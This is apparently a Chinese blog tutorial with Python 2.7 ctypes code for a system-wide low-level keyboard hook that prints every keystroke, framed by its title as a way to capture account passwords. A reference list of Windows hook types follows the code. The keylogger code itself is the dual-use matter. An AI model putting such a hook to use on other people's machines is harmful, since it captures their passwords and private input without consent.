Python【WINAPI】钩子程序获取账号密码等键盘输入信息

Python2.7.x版本 

chr(lParam[0])会出现下面的类型转换错误,造成溢出的异常,在Python2.X版本的int是无限大,而C语言的长度有限制,所以就会出现这种溢出错误

 hookedKey = chr(lParam[0])
OverflowError: Python int too large to convert to C long

加个按位与,防止溢出: chr(0xFFFFFFFF&lParam[0])

# -*- coding: cp936 -*-
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD

user32 = windll.user32
kernel32 = windll.kernel32

WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162

#定义拥有挂钩与拆钩功能的类
class KeyLogger:
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None

    #定义挂钩函数:使用user32DLL的SetWindowsHookExA函数设置钩子
    #监听的事件为WHKEYBOAD_LL,范围设置为操作系统中运行的所有线程
    def installHookProc(self, pointer):
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        if not self.hooked:
            return False
        return True

    #定义拆钩函数:调用user32Dll的UnhookWindowsHookEx()函数
    def uninstallHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

#获取函数指针:若想注册钩子过程(回调函数),必须传入函数指针
#通过CFUNCTYPE()函数指定SetWindowshookExA()函数所需要的钩子过程的参数与参数类
#通过CMPFUNC()函数获取内部声明的函数指针
def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

#定义钩子过程:钩子过程是一种回调函数,指定事件发生时,调用其执行相应处理
#若到来的消息类型是WM__KEYDOWN,则将消息值,输出到屏幕;若消息与<CTRL>键的值一致,则拆除钩子
#处理完毕后,将控制权限让给勾连中的其他钩子过程(CallNextHookEx()函数)
def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
    hookedKey = chr(0xFFFFFFFF&lParam[0])
    print(hookedKey,lParam[0],lParam[1]),
    #print(int(lParam[0]))
    #if(CTRL_CODE == int(lParam[0])):
    if(int(lParam[0])==124554051746):
        print("按下了Ctrl键,调用钩子拆除")
        keyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)

#传递消息:GetMessageA()函数监视队列,消息进入队列后取出消息,并传递给钩链中的第一个钩子
def startKeyLog():
        msg = MSG()
        user32.GetMessageA(byref(msg), 0, 0, 0)

#启动消息钩取,installHookProc()函数设置钩子,同时注册钩子过程回调函数
#最后调用startKeyLog()函数,将进入队列的消息传递给钩链
keyLogger = KeyLogger()
pointer = getFPTR(hookProc)

if keyLogger.installHookProc(pointer):
       print("钩子程序启动")

startKeyLog()

下面是一些常用钩子类型对应的代码值

WH_JOURNALRECORD = 0,
WH_JOURNALPLAYBACK = 1,
WH_KEYBOARD = 2,
WH_GETMESSAGE = 3,
WH_CALLWNDPROC = 4,
WH_CBT = 5,
WH_SYSMSGFILTER = 6,
WH_MOUSE = 7,
WH_HARDWARE = 8,
WH_DEBUG = 9,
WH_SHELL = 10,
WH_FOREGROUNDIDLE = 11,
WH_CALLWNDPROCRET = 12,       
WH_KEYBOARD_LL = 13,
WH_MOUSE_LL = 14

WH_JOURNALRECORD Hook用来监视和记录输入事件。典型的,可以使用这个Hook记录连续的鼠标和键盘事件,然后通过使用WH_JOURNALPLAYBACK Hook来回放

WH_KEYBOARD Hook用来监视WM_KEYDOWN and WM_KEYUP消息,这些消息通过GetMessage or PeekMessage function返回。可以使用这个Hook来监视输入到消息队列中的键盘消息。

WH_KEYBOARD_LL Hook监视输入到线程消息队列中的键盘消息。

WH_GETMESSAGE Hook来监视从GetMessage or PeekMessage函数返回的消息。你可以使用WH_GETMESSAGE Hook去监视鼠标和键盘输入,以及其他发送到消息队列中的消息。

WH_CALLWNDPROCWH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。系统在消息发送到接收窗口过程之前调用WH_CALLWNDPROC Hook子程,并且在窗口过程处理完消息之后调用WH_CALLWNDPROCRET Hook子程。 WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构,再传递到Hook子程。CWPRETSTRUCT结构包含了来自处理消息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。

WH_CBT Hook被调用的事件包括:
1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件;
2. 完成系统指令;
3. 来自系统消息队列中的移动鼠标,键盘事件;
4. 设置输入焦点事件;
5. 同步系统消息队列事件。
Hook子程的返回值确定系统是否允许或者防止这些操作中的一个。

WH_SYSMSGFILTER Hook监视所有应用程序消息。WH_MSGFILTER Hook只能监视传递到菜单,滚动条,消息框的消息,以及传递到通过安装了Hook子程的应用程序建立的对话框的消息。

WH_MOUSE Hook监视从GetMessage 或者 PeekMessage 函数返回的鼠标消息。使用这个Hook监视输入到消息队列中的鼠标消息。WH_MOUSE_LL Hook监视输入到线程消息队列中的鼠标消息。

WH_DEBUG Hook在系统调用系统中与其他Hook关联的Hook子程之前,系统会调用WH_DEBUG Hook子程。你可以使用这个Hook来决定是否允许系统调用与其他Hook关联的Hook子程

WH_SHELL 共有5钟情况:
1. 只要有个top-level、unowned 窗口被产生、起作用、或是被摧毁;
2. 当Taskbar需要重画某个按钮;
3. 当系统需要显示关于Taskbar的一个程序的最小化形式;
4. 当目前的键盘布局状态改变;
5. 当使用者按Ctrl+Esc去执行Task Manager(或相同级别的程序)。 按照惯例,外壳应用程序都不接收WH_SHELL消息。所以,在应用程序能够接收WH_SHELL消息之前,应用程序必须调用SystemParametersInfo function注册它自己。

WH_FOREGROUNDIDLE 当应用程序的前台线程处于空闲状态时,可以使用WH_FOREGROUNDIDLE Hook执行低优先级的任务。当应用程序的前台线程大概要变成空闲状态时,系统就会调用WH_FOREGROUNDIDLE Hook子程

发布了46 篇原创文章 · 获赞 9 · 访问量 3635

猜你喜欢

转载自blog.csdn.net/weixin_41896770/article/details/104848003
今日推荐